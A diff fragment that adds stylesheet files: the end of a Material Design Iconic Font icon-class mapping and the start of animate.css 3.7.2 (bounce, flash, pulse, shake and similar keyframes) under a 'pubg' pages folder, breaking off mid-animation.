+  content: '\f2fc';
+}
+.zmdi-forward:before {
+  content: '\f2fd';
+}
+.zmdi-long-arrow-down:before {
+  content: '\f2fe';
+}
+.zmdi-long-arrow-left:before {
+  content: '\f2ff';
+}
+.zmdi-long-arrow-return:before {
+  content: '\f300';
+}
+.zmdi-long-arrow-right:before {
+  content: '\f301';
+}
+.zmdi-long-arrow-tab:before {
+  content: '\f302';
+}
+.zmdi-long-arrow-up:before {
+  content: '\f303';
+}
+.zmdi-rotate-ccw:before {
+  content: '\f304';
+}
+.zmdi-rotate-cw:before {
+  content: '\f305';
+}
+.zmdi-rotate-left:before {
+  content: '\f306';
+}
+.zmdi-rotate-right:before {
+  content: '\f307';
+}
+.zmdi-square-down:before {
+  content: '\f308';
+}
+.zmdi-square-right:before {
+  content: '\f309';
+}
+.zmdi-swap-alt:before {
+  content: '\f30a';
+}
+.zmdi-swap-vertical-circle:before {
+  content: '\f30b';
+}
+.zmdi-swap-vertical:before {
+  content: '\f30c';
+}
+.zmdi-swap:before {
+  content: '\f30d';
+}
+.zmdi-trending-down:before {
+  content: '\f30e';
+}
+.zmdi-trending-flat:before {
+  content: '\f30f';
+}
+.zmdi-trending-up:before {
+  content: '\f310';
+}
+.zmdi-unfold-less:before {
+  content: '\f311';
+}
+.zmdi-unfold-more:before {
+  content: '\f312';
+}
+.zmdi-apps:before {
+  content: '\f313';
+}
+.zmdi-grid-off:before {
+  content: '\f314';
+}
+.zmdi-grid:before {
+  content: '\f315';
+}
+.zmdi-view-agenda:before {
+  content: '\f316';
+}
+.zmdi-view-array:before {
+  content: '\f317';
+}
+.zmdi-view-carousel:before {
+  content: '\f318';
+}
+.zmdi-view-column:before {
+  content: '\f319';
+}
+.zmdi-view-comfy:before {
+  content: '\f31a';
+}
+.zmdi-view-compact:before {
+  content: '\f31b';
+}
+.zmdi-view-dashboard:before {
+  content: '\f31c';
+}
+.zmdi-view-day:before {
+  content: '\f31d';
+}
+.zmdi-view-headline:before {
+  content: '\f31e';
+}
+.zmdi-view-list-alt:before {
+  content: '\f31f';
+}
+.zmdi-view-list:before {
+  content: '\f320';
+}
+.zmdi-view-module:before {
+  content: '\f321';
+}
+.zmdi-view-quilt:before {
+  content: '\f322';
+}
+.zmdi-view-stream:before {
+  content: '\f323';
+}
+.zmdi-view-subtitles:before {
+  content: '\f324';
+}
+.zmdi-view-toc:before {
+  content: '\f325';
+}
+.zmdi-view-web:before {
+  content: '\f326';
+}
+.zmdi-view-week:before {
+  content: '\f327';
+}
+.zmdi-widgets:before {
+  content: '\f328';
+}
+.zmdi-alarm-check:before {
+  content: '\f329';
+}
+.zmdi-alarm-off:before {
+  content: '\f32a';
+}
+.zmdi-alarm-plus:before {
+  content: '\f32b';
+}
+.zmdi-alarm-snooze:before {
+  content: '\f32c';
+}
+.zmdi-alarm:before {
+  content: '\f32d';
+}
+.zmdi-calendar-alt:before {
+  content: '\f32e';
+}
+.zmdi-calendar-check:before {
+  content: '\f32f';
+}
+.zmdi-calendar-close:before {
+  content: '\f330';
+}
+.zmdi-calendar-note:before {
+  content: '\f331';
+}
+.zmdi-calendar:before {
+  content: '\f332';
+}
+.zmdi-time-countdown:before {
+  content: '\f333';
+}
+.zmdi-time-interval:before {
+  content: '\f334';
+}
+.zmdi-time-restore-setting:before {
+  content: '\f335';
+}
+.zmdi-time-restore:before {
+  content: '\f336';
+}
+.zmdi-time:before {
+  content: '\f337';
+}
+.zmdi-timer-off:before {
+  content: '\f338';
+}
+.zmdi-timer:before {
+  content: '\f339';
+}
+.zmdi-android-alt:before {
+  content: '\f33a';
+}
+.zmdi-android:before {
+  content: '\f33b';
+}
+.zmdi-apple:before {
+  content: '\f33c';
+}
+.zmdi-behance:before {
+  content: '\f33d';
+}
+.zmdi-codepen:before {
+  content: '\f33e';
+}
+.zmdi-dribbble:before {
+  content: '\f33f';
+}
+.zmdi-dropbox:before {
+  content: '\f340';
+}
+.zmdi-evernote:before {
+  content: '\f341';
+}
+.zmdi-facebook-box:before {
+  content: '\f342';
+}
+.zmdi-facebook:before {
+  content: '\f343';
+}
+.zmdi-github-box:before {
+  content: '\f344';
+}
+.zmdi-github:before {
+  content: '\f345';
+}
+.zmdi-google-drive:before {
+  content: '\f346';
+}
+.zmdi-google-earth:before {
+  content: '\f347';
+}
+.zmdi-google-glass:before {
+  content: '\f348';
+}
+.zmdi-google-maps:before {
+  content: '\f349';
+}
+.zmdi-google-pages:before {
+  content: '\f34a';
+}
+.zmdi-google-play:before {
+  content: '\f34b';
+}
+.zmdi-google-plus-box:before {
+  content: '\f34c';
+}
+.zmdi-google-plus:before {
+  content: '\f34d';
+}
+.zmdi-google:before {
+  content: '\f34e';
+}
+.zmdi-instagram:before {
+  content: '\f34f';
+}
+.zmdi-language-css3:before {
+  content: '\f350';
+}
+.zmdi-language-html5:before {
+  content: '\f351';
+}
+.zmdi-language-javascript:before {
+  content: '\f352';
+}
+.zmdi-language-python-alt:before {
+  content: '\f353';
+}
+.zmdi-language-python:before {
+  content: '\f354';
+}
+.zmdi-lastfm:before {
+  content: '\f355';
+}
+.zmdi-linkedin-box:before {
+  content: '\f356';
+}
+.zmdi-paypal:before {
+  content: '\f357';
+}
+.zmdi-pinterest-box:before {
+  content: '\f358';
+}
+.zmdi-pocket:before {
+  content: '\f359';
+}
+.zmdi-polymer:before {
+  content: '\f35a';
+}
+.zmdi-share:before {
+  content: '\f35b';
+}
+.zmdi-stackoverflow:before {
+  content: '\f35c';
+}
+.zmdi-steam-square:before {
+  content: '\f35d';
+}
+.zmdi-steam:before {
+  content: '\f35e';
+}
+.zmdi-twitter-box:before {
+  content: '\f35f';
+}
+.zmdi-twitter:before {
+  content: '\f360';
+}
+.zmdi-vk:before {
+  content: '\f361';
+}
+.zmdi-wikipedia:before {
+  content: '\f362';
+}
+.zmdi-windows:before {
+  content: '\f363';
+}
+.zmdi-aspect-ratio-alt:before {
+  content: '\f364';
+}
+.zmdi-aspect-ratio:before {
+  content: '\f365';
+}
+.zmdi-blur-circular:before {
+  content: '\f366';
+}
+.zmdi-blur-linear:before {
+  content: '\f367';
+}
+.zmdi-blur-off:before {
+  content: '\f368';
+}
+.zmdi-blur:before {
+  content: '\f369';
+}
+.zmdi-brightness-2:before {
+  content: '\f36a';
+}
+.zmdi-brightness-3:before {
+  content: '\f36b';
+}
+.zmdi-brightness-4:before {
+  content: '\f36c';
+}
+.zmdi-brightness-5:before {
+  content: '\f36d';
+}
+.zmdi-brightness-6:before {
+  content: '\f36e';
+}
+.zmdi-brightness-7:before {
+  content: '\f36f';
+}
+.zmdi-brightness-auto:before {
+  content: '\f370';
+}
+.zmdi-brightness-setting:before {
+  content: '\f371';
+}
+.zmdi-broken-image:before {
+  content: '\f372';
+}
+.zmdi-center-focus-strong:before {
+  content: '\f373';
+}
+.zmdi-center-focus-weak:before {
+  content: '\f374';
+}
+.zmdi-compare:before {
+  content: '\f375';
+}
+.zmdi-crop-16-9:before {
+  content: '\f376';
+}
+.zmdi-crop-3-2:before {
+  content: '\f377';
+}
+.zmdi-crop-5-4:before {
+  content: '\f378';
+}
+.zmdi-crop-7-5:before {
+  content: '\f379';
+}
+.zmdi-crop-din:before {
+  content: '\f37a';
+}
+.zmdi-crop-free:before {
+  content: '\f37b';
+}
+.zmdi-crop-landscape:before {
+  content: '\f37c';
+}
+.zmdi-crop-portrait:before {
+  content: '\f37d';
+}
+.zmdi-crop-square:before {
+  content: '\f37e';
+}
+.zmdi-exposure-alt:before {
+  content: '\f37f';
+}
+.zmdi-exposure:before {
+  content: '\f380';
+}
+.zmdi-filter-b-and-w:before {
+  content: '\f381';
+}
+.zmdi-filter-center-focus:before {
+  content: '\f382';
+}
+.zmdi-filter-frames:before {
+  content: '\f383';
+}
+.zmdi-filter-tilt-shift:before {
+  content: '\f384';
+}
+.zmdi-gradient:before {
+  content: '\f385';
+}
+.zmdi-grain:before {
+  content: '\f386';
+}
+.zmdi-graphic-eq:before {
+  content: '\f387';
+}
+.zmdi-hdr-off:before {
+  content: '\f388';
+}
+.zmdi-hdr-strong:before {
+  content: '\f389';
+}
+.zmdi-hdr-weak:before {
+  content: '\f38a';
+}
+.zmdi-hdr:before {
+  content: '\f38b';
+}
+.zmdi-iridescent:before {
+  content: '\f38c';
+}
+.zmdi-leak-off:before {
+  content: '\f38d';
+}
+.zmdi-leak:before {
+  content: '\f38e';
+}
+.zmdi-looks:before {
+  content: '\f38f';
+}
+.zmdi-loupe:before {
+  content: '\f390';
+}
+.zmdi-panorama-horizontal:before {
+  content: '\f391';
+}
+.zmdi-panorama-vertical:before {
+  content: '\f392';
+}
+.zmdi-panorama-wide-angle:before {
+  content: '\f393';
+}
+.zmdi-photo-size-select-large:before {
+  content: '\f394';
+}
+.zmdi-photo-size-select-small:before {
+  content: '\f395';
+}
+.zmdi-picture-in-picture:before {
+  content: '\f396';
+}
+.zmdi-slideshow:before {
+  content: '\f397';
+}
+.zmdi-texture:before {
+  content: '\f398';
+}
+.zmdi-tonality:before {
+  content: '\f399';
+}
+.zmdi-vignette:before {
+  content: '\f39a';
+}
+.zmdi-wb-auto:before {
+  content: '\f39b';
+}
+.zmdi-eject-alt:before {
+  content: '\f39c';
+}
+.zmdi-eject:before {
+  content: '\f39d';
+}
+.zmdi-equalizer:before {
+  content: '\f39e';
+}
+.zmdi-fast-forward:before {
+  content: '\f39f';
+}
+.zmdi-fast-rewind:before {
+  content: '\f3a0';
+}
+.zmdi-forward-10:before {
+  content: '\f3a1';
+}
+.zmdi-forward-30:before {
+  content: '\f3a2';
+}
+.zmdi-forward-5:before {
+  content: '\f3a3';
+}
+.zmdi-hearing:before {
+  content: '\f3a4';
+}
+.zmdi-pause-circle-outline:before {
+  content: '\f3a5';
+}
+.zmdi-pause-circle:before {
+  content: '\f3a6';
+}
+.zmdi-pause:before {
+  content: '\f3a7';
+}
+.zmdi-play-circle-outline:before {
+  content: '\f3a8';
+}
+.zmdi-play-circle:before {
+  content: '\f3a9';
+}
+.zmdi-play:before {
+  content: '\f3aa';
+}
+.zmdi-playlist-audio:before {
+  content: '\f3ab';
+}
+.zmdi-playlist-plus:before {
+  content: '\f3ac';
+}
+.zmdi-repeat-one:before {
+  content: '\f3ad';
+}
+.zmdi-repeat:before {
+  content: '\f3ae';
+}
+.zmdi-replay-10:before {
+  content: '\f3af';
+}
+.zmdi-replay-30:before {
+  content: '\f3b0';
+}
+.zmdi-replay-5:before {
+  content: '\f3b1';
+}
+.zmdi-replay:before {
+  content: '\f3b2';
+}
+.zmdi-shuffle:before {
+  content: '\f3b3';
+}
+.zmdi-skip-next:before {
+  content: '\f3b4';
+}
+.zmdi-skip-previous:before {
+  content: '\f3b5';
+}
+.zmdi-stop:before {
+  content: '\f3b6';
+}
+.zmdi-surround-sound:before {
+  content: '\f3b7';
+}
+.zmdi-tune:before {
+  content: '\f3b8';
+}
+.zmdi-volume-down:before {
+  content: '\f3b9';
+}
+.zmdi-volume-mute:before {
+  content: '\f3ba';
+}
+.zmdi-volume-off:before {
+  content: '\f3bb';
+}
+.zmdi-volume-up:before {
+  content: '\f3bc';
+}
+.zmdi-n-1-square:before {
+  content: '\f3bd';
+}
+.zmdi-n-2-square:before {
+  content: '\f3be';
+}
+.zmdi-n-3-square:before {
+  content: '\f3bf';
+}
+.zmdi-n-4-square:before {
+  content: '\f3c0';
+}
+.zmdi-n-5-square:before {
+  content: '\f3c1';
+}
+.zmdi-n-6-square:before {
+  content: '\f3c2';
+}
+.zmdi-neg-1:before {
+  content: '\f3c3';
+}
+.zmdi-neg-2:before {
+  content: '\f3c4';
+}
+.zmdi-plus-1:before {
+  content: '\f3c5';
+}
+.zmdi-plus-2:before {
+  content: '\f3c6';
+}
+.zmdi-sec-10:before {
+  content: '\f3c7';
+}
+.zmdi-sec-3:before {
+  content: '\f3c8';
+}
+.zmdi-zero:before {
+  content: '\f3c9';
+}
+.zmdi-airline-seat-flat-angled:before {
+  content: '\f3ca';
+}
+.zmdi-airline-seat-flat:before {
+  content: '\f3cb';
+}
+.zmdi-airline-seat-individual-suite:before {
+  content: '\f3cc';
+}
+.zmdi-airline-seat-legroom-extra:before {
+  content: '\f3cd';
+}
+.zmdi-airline-seat-legroom-normal:before {
+  content: '\f3ce';
+}
+.zmdi-airline-seat-legroom-reduced:before {
+  content: '\f3cf';
+}
+.zmdi-airline-seat-recline-extra:before {
+  content: '\f3d0';
+}
+.zmdi-airline-seat-recline-normal:before {
+  content: '\f3d1';
+}
+.zmdi-airplay:before {
+  content: '\f3d2';
+}
+.zmdi-closed-caption:before {
+  content: '\f3d3';
+}
+.zmdi-confirmation-number:before {
+  content: '\f3d4';
+}
+.zmdi-developer-board:before {
+  content: '\f3d5';
+}
+.zmdi-disc-full:before {
+  content: '\f3d6';
+}
+.zmdi-explicit:before {
+  content: '\f3d7';
+}
+.zmdi-flight-land:before {
+  content: '\f3d8';
+}
+.zmdi-flight-takeoff:before {
+  content: '\f3d9';
+}
+.zmdi-flip-to-back:before {
+  content: '\f3da';
+}
+.zmdi-flip-to-front:before {
+  content: '\f3db';
+}
+.zmdi-group-work:before {
+  content: '\f3dc';
+}
+.zmdi-hd:before {
+  content: '\f3dd';
+}
+.zmdi-hq:before {
+  content: '\f3de';
+}
+.zmdi-markunread-mailbox:before {
+  content: '\f3df';
+}
+.zmdi-memory:before {
+  content: '\f3e0';
+}
+.zmdi-nfc:before {
+  content: '\f3e1';
+}
+.zmdi-play-for-work:before {
+  content: '\f3e2';
+}
+.zmdi-power-input:before {
+  content: '\f3e3';
+}
+.zmdi-present-to-all:before {
+  content: '\f3e4';
+}
+.zmdi-satellite:before {
+  content: '\f3e5';
+}
+.zmdi-tap-and-play:before {
+  content: '\f3e6';
+}
+.zmdi-vibration:before {
+  content: '\f3e7';
+}
+.zmdi-voicemail:before {
+  content: '\f3e8';
+}
+.zmdi-group:before {
+  content: '\f3e9';
+}
+.zmdi-rss:before {
+  content: '\f3ea';
+}
+.zmdi-shape:before {
+  content: '\f3eb';
+}
+.zmdi-spinner:before {
+  content: '\f3ec';
+}
+.zmdi-ungroup:before {
+  content: '\f3ed';
+}
+.zmdi-500px:before {
+  content: '\f3ee';
+}
+.zmdi-8tracks:before {
+  content: '\f3ef';
+}
+.zmdi-amazon:before {
+  content: '\f3f0';
+}
+.zmdi-blogger:before {
+  content: '\f3f1';
+}
+.zmdi-delicious:before {
+  content: '\f3f2';
+}
+.zmdi-disqus:before {
+  content: '\f3f3';
+}
+.zmdi-flattr:before {
+  content: '\f3f4';
+}
+.zmdi-flickr:before {
+  content: '\f3f5';
+}
+.zmdi-github-alt:before {
+  content: '\f3f6';
+}
+.zmdi-google-old:before {
+  content: '\f3f7';
+}
+.zmdi-linkedin:before {
+  content: '\f3f8';
+}
+.zmdi-odnoklassniki:before {
+  content: '\f3f9';
+}
+.zmdi-outlook:before {
+  content: '\f3fa';
+}
+.zmdi-paypal-alt:before {
+  content: '\f3fb';
+}
+.zmdi-pinterest:before {
+  content: '\f3fc';
+}
+.zmdi-playstation:before {
+  content: '\f3fd';
+}
+.zmdi-reddit:before {
+  content: '\f3fe';
+}
+.zmdi-skype:before {
+  content: '\f3ff';
+}
+.zmdi-slideshare:before {
+  content: '\f400';
+}
+.zmdi-soundcloud:before {
+  content: '\f401';
+}
+.zmdi-tumblr:before {
+  content: '\f402';
+}
+.zmdi-twitch:before {
+  content: '\f403';
+}
+.zmdi-vimeo:before {
+  content: '\f404';
+}
+.zmdi-whatsapp:before {
+  content: '\f405';
+}
+.zmdi-xbox:before {
+  content: '\f406';
+}
+.zmdi-yahoo:before {
+  content: '\f407';
+}
+.zmdi-youtube-play:before {
+  content: '\f408';
+}
+.zmdi-youtube:before {
+  content: '\f409';
+}
+.zmdi-import-export:before {
+  content: '\f30c';
+}
+.zmdi-swap-vertical-:before {
+  content: '\f30c';
+}
+.zmdi-airplanemode-inactive:before {
+  content: '\f102';
+}
+.zmdi-airplanemode-active:before {
+  content: '\f103';
+}
+.zmdi-rate-review:before {
+  content: '\f103';
+}
+.zmdi-comment-sign:before {
+  content: '\f25a';
+}
+.zmdi-network-warning:before {
+  content: '\f2ad';
+}
+.zmdi-shopping-cart-add:before {
+  content: '\f1ca';
+}
+.zmdi-file-add:before {
+  content: '\f221';
+}
+.zmdi-network-wifi-scan:before {
+  content: '\f2e4';
+}
+.zmdi-collection-add:before {
+  content: '\f14e';
+}
+.zmdi-format-playlist-add:before {
+  content: '\f3ac';
+}
+.zmdi-format-queue-music:before {
+  content: '\f3ab';
+}
+.zmdi-plus-box:before {
+  content: '\f277';
+}
+.zmdi-tag-backspace:before {
+  content: '\f1d9';
+}
+.zmdi-alarm-add:before {
+  content: '\f32b';
+}
+.zmdi-battery-charging:before {
+  content: '\f114';
+}
+.zmdi-daydream-setting:before {
+  content: '\f217';
+}
+.zmdi-more-horiz:before {
+  content: '\f19c';
+}
+.zmdi-book-photo:before {
+  content: '\f11b';
+}
+.zmdi-incandescent:before {
+  content: '\f189';
+}
+.zmdi-wb-iridescent:before {
+  content: '\f38c';
+}
+.zmdi-calendar-remove:before {
+  content: '\f330';
+}
+.zmdi-refresh-sync-disabled:before {
+  content: '\f1b7';
+}
+.zmdi-refresh-sync-problem:before {
+  content: '\f1b6';
+}
+.zmdi-crop-original:before {
+  content: '\f17e';
+}
+.zmdi-power-off:before {
+  content: '\f1af';
+}
+.zmdi-power-off-setting:before {
+  content: '\f1ae';
+}
+.zmdi-leak-remove:before {
+  content: '\f38d';
+}
+.zmdi-star-border:before {
+  content: '\f27c';
+}
+.zmdi-brightness-low:before {
+  content: '\f36d';
+}
+.zmdi-brightness-medium:before {
+  content: '\f36e';
+}
+.zmdi-brightness-high:before {
+  content: '\f36f';
+}
+.zmdi-smartphone-portrait:before {
+  content: '\f2d4';
+}
+.zmdi-live-tv:before {
+  content: '\f2d9';
+}
+.zmdi-format-textdirection-l-to-r:before {
+  content: '\f249';
+}
+.zmdi-format-textdirection-r-to-l:before {
+  content: '\f24a';
+}
+.zmdi-arrow-back:before {
+  content: '\f2ea';
+}
+.zmdi-arrow-forward:before {
+  content: '\f2ee';
+}
+.zmdi-arrow-in:before {
+  content: '\f2e9';
+}
+.zmdi-arrow-out:before {
+  content: '\f2ed';
+}
+.zmdi-rotate-90-degrees-ccw:before {
+  content: '\f304';
+}
+.zmdi-adb:before {
+  content: '\f33a';
+}
+.zmdi-network-wifi:before {
+  content: '\f2e8';
+}
+.zmdi-network-wifi-alt:before {
+  content: '\f2e3';
+}
+.zmdi-network-wifi-lock:before {
+  content: '\f2e5';
+}
+.zmdi-network-wifi-off:before {
+  content: '\f2e6';
+}
+.zmdi-network-wifi-outline:before {
+  content: '\f2e7';
+}
+.zmdi-network-wifi-info:before {
+  content: '\f2e4';
+}
+.zmdi-layers-clear:before {
+  content: '\f18b';
+}
+.zmdi-colorize:before {
+  content: '\f15d';
+}
+.zmdi-format-paint:before {
+  content: '\f1ba';
+}
+.zmdi-format-quote:before {
+  content: '\f1b2';
+}
+.zmdi-camera-monochrome-photos:before {
+  content: '\f285';
+}
+.zmdi-sort-by-alpha:before {
+  content: '\f1cf';
+}
+.zmdi-folder-shared:before {
+  content: '\f225';
+}
+.zmdi-folder-special:before {
+  content: '\f226';
+}
+.zmdi-comment-dots:before {
+  content: '\f260';
+}
+.zmdi-reorder:before {
+  content: '\f31e';
+}
+.zmdi-dehaze:before {
+  content: '\f197';
+}
+.zmdi-sort:before {
+  content: '\f1ce';
+}
+.zmdi-pages:before {
+  content: '\f34a';
+}
+.zmdi-stack-overflow:before {
+  content: '\f35c';
+}
+.zmdi-calendar-account:before {
+  content: '\f204';
+}
+.zmdi-paste:before {
+  content: '\f109';
+}
+.zmdi-cut:before {
+  content: '\f1bc';
+}
+.zmdi-save:before {
+  content: '\f297';
+}
+.zmdi-smartphone-code:before {
+  content: '\f139';
+}
+.zmdi-directions-bike:before {
+  content: '\f117';
+}
+.zmdi-directions-boat:before {
+  content: '\f11a';
+}
+.zmdi-directions-bus:before {
+  content: '\f121';
+}
+.zmdi-directions-car:before {
+  content: '\f125';
+}
+.zmdi-directions-railway:before {
+  content: '\f1b3';
+}
+.zmdi-directions-run:before {
+  content: '\f215';
+}
+.zmdi-directions-subway:before {
+  content: '\f1d5';
+}
+.zmdi-directions-walk:before {
+  content: '\f216';
+}
+.zmdi-local-hotel:before {
+  content: '\f178';
+}
+.zmdi-local-activity:before {
+  content: '\f1df';
+}
+.zmdi-local-play:before {
+  content: '\f1df';
+}
+.zmdi-local-airport:before {
+  content: '\f103';
+}
+.zmdi-local-atm:before {
+  content: '\f198';
+}
+.zmdi-local-bar:before {
+  content: '\f137';
+}
+.zmdi-local-cafe:before {
+  content: '\f13b';
+}
+.zmdi-local-car-wash:before {
+  content: '\f124';
+}
+.zmdi-local-convenience-store:before {
+  content: '\f1d3';
+}
+.zmdi-local-dining:before {
+  content: '\f153';
+}
+.zmdi-local-drink:before {
+  content: '\f157';
+}
+.zmdi-local-florist:before {
+  content: '\f168';
+}
+.zmdi-local-gas-station:before {
+  content: '\f16f';
+}
+.zmdi-local-grocery-store:before {
+  content: '\f1cb';
+}
+.zmdi-local-hospital:before {
+  content: '\f177';
+}
+.zmdi-local-laundry-service:before {
+  content: '\f1e9';
+}
+.zmdi-local-library:before {
+  content: '\f18d';
+}
+.zmdi-local-mall:before {
+  content: '\f195';
+}
+.zmdi-local-movies:before {
+  content: '\f19d';
+}
+.zmdi-local-offer:before {
+  content: '\f187';
+}
+.zmdi-local-parking:before {
+  content: '\f1a5';
+}
+.zmdi-local-parking:before {
+  content: '\f1a5';
+}
+.zmdi-local-pharmacy:before {
+  content: '\f176';
+}
+.zmdi-local-phone:before {
+  content: '\f2be';
+}
+.zmdi-local-pizza:before {
+  content: '\f1ac';
+}
+.zmdi-local-post-office:before {
+  content: '\f15a';
+}
+.zmdi-local-printshop:before {
+  content: '\f1b0';
+}
+.zmdi-local-see:before {
+  content: '\f28c';
+}
+.zmdi-local-shipping:before {
+  content: '\f1e6';
+}
+.zmdi-local-store:before {
+  content: '\f1d4';
+}
+.zmdi-local-taxi:before {
+  content: '\f123';
+}
+.zmdi-local-wc:before {
+  content: '\f211';
+}
+.zmdi-my-location:before {
+  content: '\f299';
+}
+.zmdi-directions:before {
+  content: '\f1e7';
+}

.pages/pubg/css/animate.css

@@ -0,0 +1,3625 @@
+@charset "UTF-8";
+
+/*!
+ * animate.css -https://daneden.github.io/animate.css/
+ * Version - 3.7.2
+ * Licensed under the MIT license - http://opensource.org/licenses/MIT
+ *
+ * Copyright (c) 2019 Daniel Eden
+ */
+
+@-webkit-keyframes bounce {
+  from,
+  20%,
+  53%,
+  80%,
+  to {
+    -webkit-animation-timing-function: cubic-bezier(0.215, 0.61, 0.355, 1);
+    animation-timing-function: cubic-bezier(0.215, 0.61, 0.355, 1);
+    -webkit-transform: translate3d(0, 0, 0);
+    transform: translate3d(0, 0, 0);
+  }
+
+  40%,
+  43% {
+    -webkit-animation-timing-function: cubic-bezier(0.755, 0.05, 0.855, 0.06);
+    animation-timing-function: cubic-bezier(0.755, 0.05, 0.855, 0.06);
+    -webkit-transform: translate3d(0, -30px, 0);
+    transform: translate3d(0, -30px, 0);
+  }
+
+  70% {
+    -webkit-animation-timing-function: cubic-bezier(0.755, 0.05, 0.855, 0.06);
+    animation-timing-function: cubic-bezier(0.755, 0.05, 0.855, 0.06);
+    -webkit-transform: translate3d(0, -15px, 0);
+    transform: translate3d(0, -15px, 0);
+  }
+
+  90% {
+    -webkit-transform: translate3d(0, -4px, 0);
+    transform: translate3d(0, -4px, 0);
+  }
+}
+
+@keyframes bounce {
+  from,
+  20%,
+  53%,
+  80%,
+  to {
+    -webkit-animation-timing-function: cubic-bezier(0.215, 0.61, 0.355, 1);
+    animation-timing-function: cubic-bezier(0.215, 0.61, 0.355, 1);
+    -webkit-transform: translate3d(0, 0, 0);
+    transform: translate3d(0, 0, 0);
+  }
+
+  40%,
+  43% {
+    -webkit-animation-timing-function: cubic-bezier(0.755, 0.05, 0.855, 0.06);
+    animation-timing-function: cubic-bezier(0.755, 0.05, 0.855, 0.06);
+    -webkit-transform: translate3d(0, -30px, 0);
+    transform: translate3d(0, -30px, 0);
+  }
+
+  70% {
+    -webkit-animation-timing-function: cubic-bezier(0.755, 0.05, 0.855, 0.06);
+    animation-timing-function: cubic-bezier(0.755, 0.05, 0.855, 0.06);
+    -webkit-transform: translate3d(0, -15px, 0);
+    transform: translate3d(0, -15px, 0);
+  }
+
+  90% {
+    -webkit-transform: translate3d(0, -4px, 0);
+    transform: translate3d(0, -4px, 0);
+  }
+}
+
+.bounce {
+  -webkit-animation-name: bounce;
+  animation-name: bounce;
+  -webkit-transform-origin: center bottom;
+  transform-origin: center bottom;
+}
+
+@-webkit-keyframes flash {
+  from,
+  50%,
+  to {
+    opacity: 1;
+  }
+
+  25%,
+  75% {
+    opacity: 0;
+  }
+}
+
+@keyframes flash {
+  from,
+  50%,
+  to {
+    opacity: 1;
+  }
+
+  25%,
+  75% {
+    opacity: 0;
+  }
+}
+
+.flash {
+  -webkit-animation-name: flash;
+  animation-name: flash;
+}
+
+/* originally authored by Nick Pettit - https://github.com/nickpettit/glide */
+
+@-webkit-keyframes pulse {
+  from {
+    -webkit-transform: scale3d(1, 1, 1);
+    transform: scale3d(1, 1, 1);
+  }
+
+  50% {
+    -webkit-transform: scale3d(1.05, 1.05, 1.05);
+    transform: scale3d(1.05, 1.05, 1.05);
+  }
+
+  to {
+    -webkit-transform: scale3d(1, 1, 1);
+    transform: scale3d(1, 1, 1);
+  }
+}
+
+@keyframes pulse {
+  from {
+    -webkit-transform: scale3d(1, 1, 1);
+    transform: scale3d(1, 1, 1);
+  }
+
+  50% {
+    -webkit-transform: scale3d(1.05, 1.05, 1.05);
+    transform: scale3d(1.05, 1.05, 1.05);
+  }
+
+  to {
+    -webkit-transform: scale3d(1, 1, 1);
+    transform: scale3d(1, 1, 1);
+  }
+}
+
+.pulse {
+  -webkit-animation-name: pulse;
+  animation-name: pulse;
+}
+
+@-webkit-keyframes rubberBand {
+  from {
+    -webkit-transform: scale3d(1, 1, 1);
+    transform: scale3d(1, 1, 1);
+  }
+
+  30% {
+    -webkit-transform: scale3d(1.25, 0.75, 1);
+    transform: scale3d(1.25, 0.75, 1);
+  }
+
+  40% {
+    -webkit-transform: scale3d(0.75, 1.25, 1);
+    transform: scale3d(0.75, 1.25, 1);
+  }
+
+  50% {
+    -webkit-transform: scale3d(1.15, 0.85, 1);
+    transform: scale3d(1.15, 0.85, 1);
+  }
+
+  65% {
+    -webkit-transform: scale3d(0.95, 1.05, 1);
+    transform: scale3d(0.95, 1.05, 1);
+  }
+
+  75% {
+    -webkit-transform: scale3d(1.05, 0.95, 1);
+    transform: scale3d(1.05, 0.95, 1);
+  }
+
+  to {
+    -webkit-transform: scale3d(1, 1, 1);
+    transform: scale3d(1, 1, 1);
+  }
+}
+
+@keyframes rubberBand {
+  from {
+    -webkit-transform: scale3d(1, 1, 1);
+    transform: scale3d(1, 1, 1);
+  }
+
+  30% {
+    -webkit-transform: scale3d(1.25, 0.75, 1);
+    transform: scale3d(1.25, 0.75, 1);
+  }
+
+  40% {
+    -webkit-transform: scale3d(0.75, 1.25, 1);
+    transform: scale3d(0.75, 1.25, 1);
+  }
+
+  50% {
+    -webkit-transform: scale3d(1.15, 0.85, 1);
+    transform: scale3d(1.15, 0.85, 1);
+  }
+
+  65% {
+    -webkit-transform: scale3d(0.95, 1.05, 1);
+    transform: scale3d(0.95, 1.05, 1);
+  }
+
+  75% {
+    -webkit-transform: scale3d(1.05, 0.95, 1);
+    transform: scale3d(1.05, 0.95, 1);
+  }
+
+  to {
+    -webkit-transform: scale3d(1, 1, 1);
+    transform: scale3d(1, 1, 1);
+  }
+}
+
+.rubberBand {
+  -webkit-animation-name: rubberBand;
+  animation-name: rubberBand;
+}
+
+@-webkit-keyframes shake {
+  from,
+  to {
+    -webkit-transform: translate3d(0, 0, 0);
+    transform: translate3d(0, 0, 0);
+  }
+
+  10%,
+  30%,
+  50%,
+  70%,
+  90% {
+    -webkit-transform: translate3d(-10px, 0, 0);
+    transform: translate3d(-10px, 0, 0);
+  }
+
+  20%,
+  40%,
+  60%,
+  80% {
+    -webkit-transform: translate3d(10px, 0, 0);
+    transform: translate3d(10px, 0, 0);
+  }
+}
+
+@keyframes shake {
+  from,
+  to {
+    -webkit-transform: translate3d(0, 0, 0);
+    transform: translate3d(0, 0, 0);
+  }
+
+  10%,
+  30%,
+  50%,
+  70%,
+  90% {
+    -webkit-transform: translate3d(-10px, 0, 0);
+    transform: translate3d(-10px, 0, 0);
+  }
+
+  20%,
+  40%,
+  60%,
+  80% {
+    -webkit-transform: translate3d(10px, 0, 0);
+    transform: translate3d(10px, 0, 0);
+  }
+}
+
+.shake {
+  -webkit-animation-name: shake;
+  animation-name: shake;
+}
+
+@-webkit-keyframes headShake {
+  0% {
+    -webkit-transform: translateX(0);
+    transform: translateX(0);
+  }
+
+  6.5% {
+    -webkit-transform: translateX(-6px) rotateY(-9deg);
+    transform: translateX(-6px) rotateY(-9deg);
+  }
+
+  18.5% {
+    -webkit-transform: translateX(5px) rotateY(7deg);
+    transform: translateX(5px) rotateY(7deg);
+  }
+
+  31.5% {
+    -webkit-transform: translateX(-3px) rotateY(-5deg);
+    transform: translateX(-3px) rotateY(-5deg);
+  }
+
+  43.5% {
+    -webkit-transform: translateX(2px) rotateY(3deg);
+    transform: translateX(2px) rotateY(3deg);
+  }
+
+  50% {
+    -webkit-transform: translateX(0);
+    transform: translateX(0);
+  }
+}
+
+@keyframes headShake {
+  0% {
+    -webkit-transform: translateX(0);
+    transform: translateX(0);
+  }
+
